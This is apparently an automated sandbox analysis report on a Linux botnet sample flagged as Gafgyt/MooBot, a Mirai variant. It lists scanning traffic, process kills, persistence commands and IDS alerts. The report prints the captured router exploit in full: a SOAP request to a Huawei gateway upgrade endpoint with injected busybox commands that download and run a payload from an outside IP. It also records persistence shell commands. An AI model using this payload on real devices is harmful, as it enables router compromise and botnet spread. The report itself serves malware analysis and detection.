Source: unknown	TCP traffic detected without corresponding DNS query: 41.39.25.117
Source: unknown	TCP traffic detected without corresponding DNS query: 157.27.22.238
Source: unknown	TCP traffic detected without corresponding DNS query: 41.229.180.123
Source: unknown	TCP traffic detected without corresponding DNS query: 41.215.21.26
Source: unknown	TCP traffic detected without corresponding DNS query: 199.76.48.249
Source: unknown	TCP traffic detected without corresponding DNS query: 197.28.177.133
Source: unknown	TCP traffic detected without corresponding DNS query: 41.6.2.8
Source: unknown	TCP traffic detected without corresponding DNS query: 223.91.134.43
Source: unknown	TCP traffic detected without corresponding DNS query: 116.140.30.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.48.168.52
Source: unknown	TCP traffic detected without corresponding DNS query: 157.21.187.220
Source: unknown	TCP traffic detected without corresponding DNS query: 41.8.247.74
Source: unknown	TCP traffic detected without corresponding DNS query: 132.24.171.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.172.242.113
Source: unknown	TCP traffic detected without corresponding DNS query: 197.234.115.5
Source: unknown	TCP traffic detected without corresponding DNS query: 47.202.228.123
Source: unknown	TCP traffic detected without corresponding DNS query: 197.180.82.167
Source: unknown	TCP traffic detected without corresponding DNS query: 75.208.11.143
Source: unknown	TCP traffic detected without corresponding DNS query: 197.68.111.210
Source: unknown	TCP traffic detected without corresponding DNS query: 197.200.88.185
Source: unknown	TCP traffic detected without corresponding DNS query: 197.244.203.76
Source: unknown	TCP traffic detected without corresponding DNS query: 86.88.9.66
Source: unknown	TCP traffic detected without corresponding DNS query: 41.6.120.92
Source: unknown	TCP traffic detected without corresponding DNS query: 197.158.83.249
Source: unknown	TCP traffic detected without corresponding DNS query: 41.132.154.21
Source: unknown	TCP traffic detected without corresponding DNS query: 39.212.105.233
Source: unknown	TCP traffic detected without corresponding DNS query: 41.43.4.93

Source: unknown

DNS traffic detected: queries for: bn.networkbn.click

Source: unknown

HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: q4zH330dlR.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: q4zH330dlR.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

System Summary

Malicious sample detected (through community Yara rule)

Source: q4zH330dlR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: q4zH330dlR.elf PID: 5569, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 931, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 933, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 1185, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 1321, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 3246, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5602, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5603, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5604, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5616, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5619, result: successful	Jump to behavior

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: HTTP/1.1 200 OKarmarm7mipsmipselx86_64sh4ppcm68k<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>POST /ctrlt/DeviceUpgrade_1 HTTP/1.1
Source: Initial sample	String containing 'busybox' found: Content-Length: /proc/proc/%d/cmdlinepgrepwgetcurlpkillkillalltftptop/proc//proc/%s/exe/proc/self/exevar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemd/usr/libexec/openssh/sftp-servershellmnt/sys/boot/media/srv/var/run/sbin/lib/etc/dev/home/Davincitelnetssh/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr/bashhttpdtelnetddropbearencodersystem/root/dvr_gui//root/dvr_app//anko-app//opt//bin/watchdog/bin/systemdrm -rf && mkdir ; > && mv ; chmod 777 3f

Source: ELF static info symbol of initial sample

.symtab present: no

Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 917, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 931, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 933, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 1185, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 1321, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 3246, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5602, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5603, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5604, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5616, result: successful	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	SIGKILL sent: pid: 5619, result: successful	Jump to behavior

Source: q4zH330dlR.elf, type: SAMPLE	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: q4zH330dlR.elf PID: 5569, type: MEMORYSTR	Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/1025@20/0

Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/110/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/231/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/111/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/112/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/233/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/113/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/114/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/235/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/115/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1333/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/116/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1695/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/117/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/118/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/119/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/911/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/914/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/10/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/917/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/11/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/12/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/13/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/14/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/15/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/16/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/17/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/18/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/19/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1591/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/120/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/121/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/122/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/243/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/2/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/123/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/3/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/124/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1588/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/125/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/4/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/246/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/126/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/5/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/127/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/6/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1585/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/128/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/7/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/129/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/8/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/800/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/9/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/802/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/803/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/804/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/20/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/21/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/3407/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/22/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/23/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/24/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/25/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/26/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/27/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/28/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/29/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1484/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/490/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/250/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/130/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/251/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/131/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/132/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/133/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1479/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/378/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/258/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/259/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/931/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1595/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/812/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/933/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/30/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/3419/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/35/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/3310/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/260/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/261/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/262/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/142/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/263/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/264/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/265/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/145/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/266/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/267/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/268/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/3303/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/269/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1486/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/3785/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/5600/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/1806/cmdline	Jump to behavior
Source: /tmp/q4zH330dlR.elf (PID: 5580)	File opened: /proc/5601/cmdline	Jump to behavior

Source: /tmp/q4zH330dlR.elf (PID: 5571)

Shell command executed: sh -c "rm -rf bin/systemd && mkdir bin; >bin/systemd\\xff\\xec0\\x80 && mv /tmp/q4zH330dlR.elf\\xff\\xff\\xff\\xff\\xff\\xff\\xecH bin/systemd\\x80; chmod 777 \\xff\\xecHbin/systemd"

Jump to behavior

Source: /bin/sh (PID: 5577)

Chmod executable: /usr/bin/chmod -> chmod 777 \\xff\\xecHbin/systemd

Jump to behavior

Source: /bin/sh (PID: 5574)

Mkdir executable: /usr/bin/mkdir -> mkdir bin

Jump to behavior

Source: /bin/sh (PID: 5573)

Rm executable: /usr/bin/rm -> rm -rf bin/systemd

Jump to behavior

Source: /bin/sh (PID: 5577)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 \\xff\\xecHbin/systemd

Jump to behavior

Source: submitted sample

Stderr: mv: cannot stat '/tmp/q4zH330dlR.elf'$'\377\377\377\377\377\377\354''H': No such file or directorychmod: cannot access ''$'\377\354''Hbin/systemd': No such file or directory: exit code = 0

Source: q4zH330dlR.elf	Virustotal: Detection: 61%			Perma Link
Source: q4zH330dlR.elf	ReversingLabs: Detection: 65%

Source: /tmp/q4zH330dlR.elf (PID: 5569)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5603)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5604)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5616)	Queries kernel information via 'uname':	Jump to behavior
Source: /usr/bin/xfdesktop (PID: 5619)	Queries kernel information via 'uname':	Jump to behavior

Source: q4zH330dlR.elf, 5569.1.00007ffd9b4b4000.00007ffd9b4d5000.rw-.sdmp	Binary or memory string: Dx86_64/usr/bin/qemu-m68k/tmp/q4zH330dlR.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/q4zH330dlR.elf
Source: q4zH330dlR.elf, 5569.1.000055b4a2800000.000055b4a2864000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/m68k
Source: q4zH330dlR.elf, 5569.1.00007ffd9b4b4000.00007ffd9b4d5000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: q4zH330dlR.elf, 5569.1.000055b4a2800000.000055b4a2864000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Source: Yara match	File source: q4zH330dlR.elf, type: SAMPLE
Source: Yara match	File source: 5569.1.00007f9e54001000.00007f9e54013000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: q4zH330dlR.elf PID: 5569, type: MEMORYSTR

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
